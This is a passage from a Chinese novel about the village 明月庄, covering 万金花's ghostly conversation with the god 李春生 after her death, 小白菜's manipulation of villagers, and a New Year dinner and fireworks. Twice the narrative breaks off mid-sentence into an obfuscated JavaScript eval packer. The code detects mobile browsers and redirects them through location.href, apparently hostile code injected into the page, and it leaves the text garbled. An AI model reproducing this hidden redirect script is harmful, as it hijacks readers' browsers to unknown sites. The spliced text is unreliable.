“二者都有吧。”他说,“我的眼睛不好了,看事情没过去那么清楚。万金花的反应如此强烈是超过了我的预料的,但同时我发现这次她是真的想要小白菜死。所以我就……” “你就打算把她的杀意转移到自己身上?” “你说得太快了。我会这样做,是因为她直冲冲的杀意让我觉得……”羞于启齿似的,李春生停顿了一会儿才说出这个词,“兴奋。突然我就什么都不记得了,只想着总算能结束了,所有的感知都离我而去,让我变得不清醒了。抱歉。” 仅仅是回忆当时的场景,我也能从李春生的语气中听出些许激动的情绪。原来他对死亡的渴望已经到了这种地步,我却没有察觉。 我说:“我只希望你之后不要再忘记了。” “不会了。” 李春生朝着万金花走去,他头上没有戴着冠了,而是用发带束了髻,不难看出是慧慧的手笔。 河边的人闻到迫近的栗子香味,上半身动了动,但终究没有转过身来看他。李春生说:“万金花,我们聊聊天吧。” 万金花没有说话,直到李春生跪坐下来,她才上下打量了他一会儿,“你还真长这个样子。” “小白菜说的都是真的。” 万金花从鼻子里发出“哼”的一声,“那他要成仙也是真的了?” “仪式是真,只是没有结果罢了。成仙不是那么容易的事,我是没有资格决定的。万金花,你……” 她打断了李春生,“我知道,我已经死了。我沿着大路想去塔那边,庄子里的那帮人都跟疯了一样跑去查家谱,有什么好查的。他吃了哑药,还能开口说话,你早就抛弃我选了他了,我再说什么也没意义,早晚都是个死。” “说到底,都是我对不起你们。” 万金花说:“你的道德感真高,难怪是神仙呢。可惜在明月庄太有道德是活不下去的。” “你去塔那里是想做什么?” 这是一个万金花意料之外的问题,她转过身来正视李春生,“你不知道?你看不出来?还得问我?你不是神仙吗?” 李春生很坦诚,“我也不是全知全能的。以前还能感觉出个大概,现在是越来越不行了。你们说出来,我才能知道。” “为了死,你信吗?事情都到了这个地步,小白菜肯定是不会留我一命了。委曲求全地活着,还不如死了呢。除了塔那边,我还能去哪儿?回家吗?回了家也会被他们找上门来,为了这样那样的事情再把我揪出去,我真的要烦死了。也不能死在小白菜面前吧,那我还不如跳河去淹死。可我不想淹死。我就在路上走,靠近塔的地方,还没那么闹哄哄。踩在雪里的时候好像踩在棉花上,软趴趴的不舒服,踩实了又好像黏着块泥,说到底我就是不喜欢雪天,真想把全世界的雪全吃了。” 万金花也的确是这么做的。她一路走,一路抓起脚边或树梢上的雪,也不在手里来回团成结实的球,就这么肉松似的一把往喉咙里塞。雪没有味道,毕竟只是水而已,万金花的口腔里迅速成了冰窟,雪化成水流进胃里,也就带走了她的眼泪。 她吃出了一条歪歪扭扭的小径,在尽头万金花捡起地上没来得及点燃的小鞭炮,小孩们爱点着了往河里扔,一火柴盒就能装三四个。她用雪包裹住一节,只露出一点引线,拿打火机点了就直起脖子吞药片似的吞下去,把她一辈子的病都治好了。 “那可不好吞呢,咽得我肺疼。之后眼前就刷地暗了,我还以为太阳被狗吃了呢,原来是死了。”她颇为苦恼地摇摇头,“真没意思。” 随后万金花又问:“小白菜没成哑巴,是因为你吧?” 李春生笑了,“是的。” “我就知道。”万金花把头转开了,她不再缅怀自己人生的遗憾,也不再对没做到的事耿耿于怀,她比之前更加平静了,成了河边的一口枯井,“原因是啥?为了惩罚我?” 李春生做出了和她之前一样的回答:“为了死。不过这部分你没必要了解太多。” “对啊,我都死了,知道了能有什么用?”她的话语里积攒着怒气,几十年来都是如此,“你当时就该让我死在雪地里。” 雪地,是啊,万金花的一生就是从雪地里开始的,如今也在雪地里结束了。几十年前的那场雪,下到现在也没停,我看到万金花的头顶有了明显的白发。她口中的这个愿景,晚了将近三十年才以另一种方式实现了。 李春生说:“我做不到。在当时的情形下,你只是个想要活下来的小姑娘,我又听到了你的愿望,必须救你一命的。” “你的有求必应就是这么来的吗?” “算是吧。” “那那些拜神时用过的小孩呢?我不信他们当中没有人许过愿想活着,你怎么没能应他们的愿望?” 李春生的神色黯淡下来,“万金花,我虽有着神仙的身份,但也是由人创造的东西。不管是在明月庄,还是世上其他地方,人都是先于神而存在的。我救不回那些孩子,因为你们已经造成了他们必死的结局。就算我从中干扰,你们也只会另寻办法,而不是就此停手,这种情况下,愿望又有什么用呢?” 万金花问道:“你说人比神优先?那为什么这世上都是神造人的传说,而不是反过来?” “我活得时间太短,不能十全十美地解答你的问题。但据我所知,没有哪个神话不是人写的。从人的大脑中构思出来,也从人的笔下写出来,再口口相传,成为一个地方人们的共识。我也一样,李哲在几乎走投无路的时候捏了一个土像,希望世上存在一个能助他功成名就的神明,于是我诞生了。没有人的存在,人的思维,人的活动,神的概念是没有立足点的。” “你说得太深奥了。”实际上万金花能听懂,她只是不想继续在这个话题上纠缠下去,对她来说,讨论神和人的先后关系就像讨论先有鸡还是先有蛋一样无聊,她是个什么都做不了的死人了,吉祥天师是不是真的存在也和她没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145954|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么关系。 “我现在可知道为什么李得彩总是做不好塑像了。”万金花说。 “为什么?” 她指了指李春生的脸,“你笑眯眯的,他做出来的都板着脸。”说着便摇摇头,感叹李得彩手艺的徒有其名,“行了,你还有别的要说吗?我刚才就听到铃铛声了,既然你是真的,那燃灯星君送人轮回转世也是真的了。我这辈子已经说了够多的话了。” “文慧菩萨托我问你一个问题。” “问呗。” “万金花,你觉得你是什么人?” 万金花有些诧异,不晓得这个问题有什么深意,但她也没有追问的兴趣了,“什么都不是。我就是万金花。” 这是一个很好的回答,是慧慧最喜欢的那种。这个做了二十来年神婆子的女人让明月庄成了一团浆糊,她在这片土地上搅动起烟尘迷住了大多数人的眼睛,自己倒在生命的最后时刻完全看透了自己,明白不同的身份带来的各种各样的枷锁。但明月庄的现状也不能完全怪罪到她身上,这是日积月累的结果,她的分量不比一根稻草更重,一定要追根溯源的话,就绕不开李春生。 万金花问:“你不是来审判我的?” “我说了,只是想和你坐下来聊聊天。不过我确实还有一个问题想问你。” “什么?” “万金花,如果你现在可以向我许一个愿,你想要什么?” 万金花注视着清溪河静静的水面说道:“你就把我背上的刺青去掉吧。” 这是一件很简单的事,在她说完的下一刻,脊背上的诗文就已经消失了。只不过这个过程进行得悄无声息,也没有在皮肤上留下一丝感觉,万金花始终不知道这件事。 她又问:“像我这样的人,是不是得入畜生道?” 李春生摇摇头,“这不是我的职责。燃灯星君就在后面,你可以问问他。” “算了吧,是什么我都无所谓。我只有一个要求。” “什么?” “我想再坐会儿。” 李春生看了我一眼以询问我的意见,这没什么,不会造成任何影响,我便点了点头,给了她五分钟的额外时间。 这五分钟在现实中只是弹指一瞬,丝毫没有影响到明月庄对新一任大巫的追捧。尽管万金花的尸身还没有下葬,但对于明月庄的人们来说这并没有什么问题。因为当年,万金花也是站在上一任神婆子的尸体边坐上这个位置的。除了神婆子的名号,她现在只是个死去的外乡人罢了。 小白菜的手上仍然系着那条红绸带,双手背在身后活像个老干部,他在围墙上踢着腿,还摇头晃脑地哼歌。 那个领头的男人又冲在最前面,“大巫大巫,新官上任三把火,你可有什么指示?尽管吩咐我吧!” “呸!”小白菜往他头上啐了一口唾沫,看着男人惊讶又努力压制愤怒的表情笑了出来,他蹲在围墙上对墙边的人们说:“你们啊,脑子都是水泥似的一整块,难怪朽木不可雕。大巫这个称呼是对我妈妈那样的人的称呼,他们本质上还是人。你们还用大巫来称呼我,是觉得我和你们一样,只是普通人吗?” 领头的男人叫道:“不是不是,你当然不是了,你是我们明月庄几百年以来第一个要登仙的人。可是我们的脑子是水泥,不用大巫就不知道怎么称呼你啊。” “这个简单。我已经是仙家的预备役,你们仍然称我为仙童就可以了,没有比这个更合适的称呼。” “这个好这个好,熟悉又合适。仙童,那您现在有什么吩咐?” 小白菜蹲在围墙上摩挲自己的下巴,“此前我大病在身,可以说完全没有参与登临塔的重建工作。现在我的妈妈魂归高天,我也理应接手她的工作,你们说是不是?” “诶是是是!” “那好呀,我就该去登临塔那里坐镇,好好监督我的父亲李得彩的工作。”小白菜说完就从围墙上往前倾倒,人群爆发出几声尖叫,领头的男人稳稳接住了他。这男人十分情愿地做了小白菜的坐骑,他让小白菜跨坐在脖颈上,昂首挺胸地载着他往塔边走去,看热闹的人们围着这二人,纷纷路过万金花的家门口。 金铃儿脚前的竹篓装满了,她看着吵闹的人们对银铃儿说:“这个家要散了。” 40.余晖 临近年底的时候,明月庄的所有人都挺开心,每一年基本都是如此的,今年更甚。比如高台上的李得彩,卷着兔耳朵的兔腿还纹丝不动地被含在他的嘴巴里,他听说了万金花的死讯,上半身抖了抖,也就没有别的反应了。今年冬天明月庄再次下了雪,外面相当冷,他蹲在登临塔内部却风吹不着,雪也落不着,他没有去陪着金铃儿银铃儿操办万金花的葬礼,而是在高台上垂着手坐了半个晚上。他抚摸着面前的半成品神像,心里想着:“这下没人打扰咱了。” 李得彩的耳朵听了几个月的叮叮咣咣,听力也比以前差了很多。不过他最擅长的事情就是忍,以前忍着李金泉,后来忍着万金花,这对他来说也没什么两样,现在还要忍着小白菜,李得彩已经将忍耐当做了人生不可分割的一部分。与万金花成为共犯的那一晚是他唯一一次不再忍着,他看着手上的鲜血,觉得这就是放弃忍耐的惩罚,从此李得彩学会了与忍耐的状态共生。 为了不让自己在忍耐中疯掉,他完全地转向了家传的塑像手艺。土像不会要求他忍耐什么,反而是泥土忍耐他的雕刻。 现在登临塔的重建只剩下李得彩手上关键的一步,他需要在高塔内壁画上吉祥天师返回人间,彰显神迹庇佑明月庄的一系列彩绘二十四幅,庄子里的所有人都会耐心地等待他。这些画每一笔要落在何处,李得彩早已倒背如流,哪天他成了瞎子也能毫不费力地画出来。 但这次他特意放慢了速度,画上几笔就要回头看看中央那尊宏伟的神像,他还没有为神像画上眼睛,塔中肃穆的氛围令他依依不舍。 而外面的广场上,积雪已经被清理干净。小白菜坐在一把竹椅上欣赏明月庄的雪景。他看的可不是稻田里白茫茫一片厚被褥似的雪,而是正对着他的路上络绎不绝的人。这些人手把手将他抬到登临塔台阶的最高层,现在也忙碌着奉献自己的诚心。 看一眼那个曾领头的男人就知道这重修的登临塔对明月庄来说有多么重要。他准备好了全新的衣裳,但要等到真正落成那天才能穿。这几日,男人把旧衣裳打理得干净整齐,一有空就跑到塔底下来抚摸外墙。 有时候他会抱着一包糖果来问小白菜:“仙童仙童,您能不能预测一下塔里那位完工的时间?” 小白菜斜眼看他,“你自己进去问不就好了?” “诶哟,我要是能问到还用得着来找你吗?一来李得彩是你爹,你又是尊贵的小仙童,你比我合适一万倍,二来我要是进去打扰了作画,影响了登临塔的重修,我担不起这个罪名。” 小白菜说:“那你的意思是,我进去打扰,就担得起了?” 领头的男人吓得跪到地上,“不是不是,我不是这个意思。” “我说你呀,乖乖地等着就行了。需不需要进去问,进去了问些什么,那是我该操心的事,轮得到你吗?” 男人听了连连点头,“仙童说得对,仙童说得对!” 小白菜打发走了男人,就继续在椅子上思考对父亲李得彩的处置了。烧毁旧塔罪大恶极,小白菜绝不会放过他。但他也觉得李春生说得对,这件事要么就成为父子间永恒的秘密,要么就等到登临塔完全建成那天广而告之。 大义灭亲不会让他成为可怜虫,反而是站稳脚跟的有力助推。 在与万金花的博弈中,小白菜深刻地体会到:如果没有明确的附庸关系,亲情就是他最大的累赘。他伸出手去摸天边的太阳,“李春生,李春生,你真是个好老师,没了你我可怎么办呀,嘿嘿嘿嘿嘿……” 在他忘情地构思李得彩的好结局时,领头的那个男人又跑回来了,这次他带来一个特别的消息:“仙童仙童,来了个疯疯癫癫的女人,看着眼熟。” 还没等小白菜多问,男人口中的疯女人已经来到了广场上。小白菜定睛一看,她身上的衣服虽然皱巴巴的,但耳朵上的金耳环,手腕上的金手镯,脖子上的金项链一样不少,最明显的还是她脚上的高跟鞋,和一头蓬松的烫发。 “这是咱们明月庄的贵客,你不认得了吗?”小白菜在竹椅上坐直了身子。那女人冲到塔前就叫喊着万金花的名字,“婆子呢?你们的婆子在哪里?快点把她叫出来!” 小白菜仰头看她,“老板娘,你找我的妈妈是有什么要紧事吗?” “你快点把她喊出来啊!” 女人裹紧身上的风衣,一边啃咬自己的手指甲,一边来回踱步。小白菜的声音还是不慌不忙,“老板娘,真是不巧。我的妈妈在前几天已经魂归高天,让燃灯星君带着轮回投胎去了,恐怕不能帮你了。” 女人的眼睛瞬间瞪大,身上的汗毛全都竖起,整个人就像一只受了惊的鸡,“死了?你说她死了?” “老板娘,生老病死是你们凡人的常态,这没什么好惊讶的。你也不用太担心,我的妈妈死了,我就是她衣钵的传承人,连同那登临仙座的资格,也一并让给了我呢。老板娘,你的问题我都可以解答。” 女人坐在地上抓头发,很快小白菜的脚边就积累了一层棕色的头发丝,“你?你这个小屁孩,我怎么信你?” “老板娘,你当时从我妈妈这里带走的那颗牙齿,就是从我嘴里拔下来的呀。”小白菜说着张开了嘴,为女人展示缺失的虎牙,“我妈妈给你开的药方之所以管用,归根结底还是因为我呀。更何况,明月庄的人都知道,我是可以预言命运的先知,这件事在众目睽睽之下得到了映证,是做不了假的。” 女人望向一旁的领头男人,他连忙点头,“真的真的,小仙童预知了庄子里一个瘸子的命运,说他不久之后就要死了,前不久我们就挖出了他的尸体!他出生的时候是保胎仙娘娘带着金白菜来的,开口说话的时候是吉祥天师亲自点化,老板娘你该信他的!” 烫头发的女人听了就爬到小白菜的脚下,“仙童!仙童你救救我吧!” “老板娘,你慢慢说。” “你的妈妈万婆子是真的有神通,上次来了以后我回去就觉得好多了,肚子里那个孩子也真的平安生了下来,而且是个男孩子呢!可是老天不长眼,我们母子俩还没好好熟悉熟悉,他就不见了呀!” 小白菜的身子一动不动,“不见了?你是说你的孩子失踪了是吗?” “是啊!他就好好地在婴儿车里放着,我一转身的功夫就不见了啊!哪儿都没有!哪儿都没有啊!” “唉。”小白菜叹气,终于弯下腰扶了女人一把,“真是家门不幸的事。不过老板娘你放心,既然你找到了明月庄来,我就一定会让你得偿所愿。来,你跟我来。”他牵着女人的手指头,将她往东天师庙里头引。 在庙里长了青苔的神像面前,小白菜对女人说:“老板娘,我已经知道了一切。你的那个孩子是我的母亲万金花通了天眼,借了吉祥天师和保胎仙娘娘的力量给你保下来的,你们的缘分也就到他出生之后不久,所以你才看不见他。” “那你倒是给我们把缘分续上啊!” 小白菜说:“老板娘,你不是我们明月庄的人,也不是吉祥天师的信徒,是不能直接求他保佑的。” “那你说要怎么办呢?” “嘿嘿嘿嘿……老板娘,这事也不难。我说一句话,你别不爱听,你的罪孽深重,必须依靠干净的信仰才能得救,只有得了救,才能重新见到你的孩子呢。这话不好听,但我们每个人都是有罪的,我们明月庄就是靠供奉吉祥天师才免于天罚。” 女人朝着庙里的神像跪下来,“我也可以供奉他的,你要多少贡品?” 小白菜摇摇头,“老板娘,我说了,你不是明月庄的人。但吉祥天师是属于明月庄的神明,他出不了明月庄,也保不了外人。你的办法就是我。” “你?要怎么做?” “吉祥天师是天上的神,而我小白菜是人间的神,你要得到天师的庇佑,就要借助我这个中间桥梁。老板娘呀,你真是福气好,我们的登临塔马上就要重修完成了。到时候,我会在登临塔的落成仪式上成仙,你来参加我的成仙仪式,就是你净化罪孽的第一步啦。” 迎着斜照的太阳,烫头发女人看到了人生的曙光。她朝着小仙童虔诚地匍匐,小白菜则伸出手抵在她的额头上,轻轻地说道:“可怜人呐。” 当太阳被山羊坡吃掉了一点边缘的时候,中学里的热闹才刚刚开始。老校长说该和剩下的大家一起吃个饭,今年过年晚,年夜饭是吃不上了,叫散伙饭也不对,她擦擦老花镜想了想说,“那就叫辞旧迎新饭吧。” 中学的大家都对此没有意见。在过去的一段时间里,中学就像一只大鸟,把它羽翼遮蔽下的孩子们陆续送往开阔又陌生的新世界。 做饭的事儿自然就落到了我身上,中学现在剩下的学生不多,做几桌菜也不算难。孟明达晃着他的旧面包车给我们装来很多新鲜的食材,一切热闹的事对他来说都充满了吸引力。他扔进来一兜子土豆的同时对我说:“李月来,你知道咱们这样的有多重要吗?” “你说说。” “嘿,怎么连猜都不猜一下,难怪你都独来独往。”我已经习惯了他的这些抱怨,“后勤就是基础,后勤就是保障,没有后勤就上不了战场,没有后勤也就做不成事儿!” “过头了吧。” 他一拍大腿从窗户里翻进来,“怎么都不过头!吃不好连力气都没有。你们这中学里头老弱病幼都齐了,你厨子的锅就该抡出火星子,以后中学的光辉历史少不了你一笔。” 我对青史留名没多少兴趣,但孟明达一说起来就没个完,我有一搭没一搭地应着。这时候令我头疼的倒不是他的喋喋不休,而是学生们从避难所的杂志里翻出来的各式各样的烹饪教学。 “月来师傅,你能做这个吗?”又来一个,我看了眼他手上拿着的杂志内容:佛跳墙。 我用墙上挂着的漏勺敲他的脑袋,“得寸进尺。”他乐呵呵地跑远了,去教室里给小季老师与李春生搭把手。中学里没有圆桌,老校长就决定用课桌拼一张四平八稳的大方桌。 虽不是农历新年,小季老师还是剪了些窗花贴上,她说:“农历是年,公历也是年,校长说了辞旧迎新,我就要讨些辞旧迎新的好彩头。” 李春生帮她贴了一半,“很漂亮。” 小季问他:“春生哥,你说明年要走,是真的吗?怎么都不提前告诉我们?” “说的太早徒增感伤吧。” 没想到小季的反应完全不是这样,“哪有?你去新的地方,就有新的生活,那是多好的事,我祝福你都来不及呢!我只有一个问题,那地方在哪儿?远不远?写信能寄到吗?” 李春生听了直笑,“你这可不是一个问题。” “你一起回答了不就是一个吗?” 李春生早就在心里预演过小季老师追问的场景了,“在……北边,挺远的,可以写信。” 小季轻易地放下了心,“哦,那就好。春生哥你记得常和我们联系。” 他点了点头,不愿意再多说什么,毕竟今天是辞旧迎新的好日子。 我记得那天大家都笑着,李春生也是。席间没有人喝酒,大家只是喝着各种口味的果汁。老校长发表了一番充满怀念与憧憬的感言,银铃儿站起来领着大家给老校长敬酒,不,敬果汁。金铃儿总是看着校门口,那里有着清溪河笔直的河道,如今在冰雪的覆盖下变得静谧无声。 我曾轻声问慧慧,“你看起来一点儿忧虑都没有。” “李月来。这样的好日子,你要是再说什么扫兴的话,我就再把你摁到河里清醒清醒。” “不是。我是真的想问你,怎么做到的?” 慧慧放下了杯子,“你们两个真是差不多的人。”她叫我伸出手掌,“李月来,看得太多不是好事。你只看着能抓住的东西就行了。过去和以后都很远,为什么不好好享受现在呢?”我终于明白了她身上生生不息的流动性从何而来。 得到了解答之后,我拍了拍李春生的肩膀,与他碰了一下杯,随后还是扭开了头不看他,彼此没说任何话。喝下果汁,夕阳也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慧慧打断他,“你不要再说要是了。李春生,时间是不能倒转的,木已成舟,我们得向前看。你总是怀念过去的好日子,可惜时间是洪水一样的东西,来路早就面目全非了。”她大概是觉得自己说得有些沉重,一时没了声音。但好在她是慧慧,一转眼的功夫她的声音就又和刚来的时候一样嘹亮了,她拍了拍李春生的脸:“所以我说嘛,你们两个不要每天愁眉苦脸的。我们现在有酒,有卤牛肉,今晚的天气还这么好,等会儿烟花肯定很好看!” 慧慧的话音刚落,东南方向的夜空就绽开了彩色的花,紧接着就听到“砰”的响声。 “你看!我就说了吧,多清晰!” 有了烟花,也就没人再去管人间琐碎的一切了。我想起来过去两年这个时候好像也是有烟花的,只不过今年我们才认真地坐下来去欣赏。那一天晚上的星星也特别亮,慧慧走了几步站到我们前面一些,星光月光连同烟花遥远的光芒,把他们两个的轮廓都勾勒得熠熠生辉。 “哇!你们看到刚才那个了吗?大的变幻出一连串小的,和珍珠项链似的!”慧慧知道我是个无趣的,便朝着李春生问:“刚才那些,你最喜欢哪个?我喜欢那个流苏似的!” 李春生说:“都很好。” “不行!你必须选一个最喜欢的出来!” 砰!远处又炸响了一个。它先是在空中亮起一朵金色的火花,比之前的都更大更亮,随后迅速地黯淡下去,当我们以为已经结束了的时候,数个金色的小团火花又在方才一圈亮色的边缘噼里啪啦地闪了起来。 李春生指着这个道:“我喜欢这个。” 慧慧得到了她满意的回答,便继续充当着烟花表演的解说人,她不厌其烦地为我们描述每一朵烟花的样子。说得累了就往地上一躺,咯咯地笑起来。 “李春生,你看星星,今天晚上连星星都格外清晰。咱们的运气真好!” “这几日都是好天气呢。”李春生说道。 “厨子!”她忽然叫我,“我之前说要吃冬笋炖咸肉,你怎么不给我做!” “你说得这么晚,炖了也咸。下次提前一天说。我不是给你换了酿豆腐吗?你吃得挺开心呀。” “哈哈哈哈哈!”慧慧又笑起来,“我看呐,你做厨子能比本职工作赚得更多!” 仔细一想,慧慧说得可能是对的。 “李春生,你快看!” 这时候东南边的烟花连成长线,目测足有数百米的距离,它们一朵连着一朵,一浪高过一浪,响声接连响起却丝毫不乱,让人想起捕鱼收网时那些鲜活的蹦跳。 李春生也被这盛大的烟花吸引,他的呼吸变得平缓,不再像以前那样因为持续的胃痛而短促。烟花不属于明月庄,却唤起了他对脚下这片土地缠绵的眷恋,也让他看到了蕴藏在远方的希望。李春生在烟火的照耀下,终于让过去与未来在他的身上共存。 “李春生,我可以许愿吗?”慧慧忽然问道。 “向谁?向我吗?” 她笑了笑,“向你,向今晚的月亮,也向这灿烂的烟花!”慧慧说罢,就双手合十望向夜空,“李春生,我听他们说,离开的人都会变成天上的星星。你要是也能那样就好了。” 李春生回答道:“你的愿望我恐怕完成不了。” “没关系!有的愿望是不需要你去实现的,它说出来的那一刻,就已经以某种形式成立了!” 到此,钟表走到了午夜时分。 慧慧转过身来,两手做喇叭状朝我们喊道:“新!年!快!乐!” 东南边的烟花中开始夹杂鞭炮声,庆祝到了现在才正式抵达高潮。李春生举起酒杯,朝着烟花中的慧慧说:“新年快乐。” 我托着酒坛子去向慧慧敬酒,她非要和我抢坛底最后剩的一点发财酒,我们和兔子一样彼此周旋了好一阵,才以我落了下风而宣告结束。最后是我好说歹说地从她那里讨来了小半杯,走到李春生面前与他再次碰了杯。 “李春生,新年快乐。”